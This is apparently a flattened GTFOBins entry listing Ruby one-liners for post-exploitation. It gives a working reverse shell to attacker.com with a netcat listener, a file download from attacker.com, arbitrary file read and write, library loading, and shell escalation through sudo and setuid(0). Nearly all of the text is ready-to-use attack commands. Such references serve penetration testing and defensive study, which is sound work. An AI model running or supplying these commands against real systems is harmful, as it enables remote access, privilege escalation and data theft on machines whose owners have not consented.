GTFOBins.github.io/_gtfobins/ruby.md
2018-10-05 18:55:38 +01:00

1.3 KiB

functions
shell reverse-shell file-upload file-download file-write file-read library-load sudo capabilities
code
ruby -e 'exec "/bin/sh"'
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
description code
Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later. export LPORT=8888 ruby -run -e httpd . -p $LPORT
description code
Fetch a remote file via HTTP GET request. export RHOST=attacker.com export RPORT=12345 export RFILE=/file_to_get export LFILE=file_to_save ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
code
ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
code
ruby -e 'puts File.read("file_to_read")'
code
ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
code
sudo ruby -e 'exec "/bin/sh"'
code
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'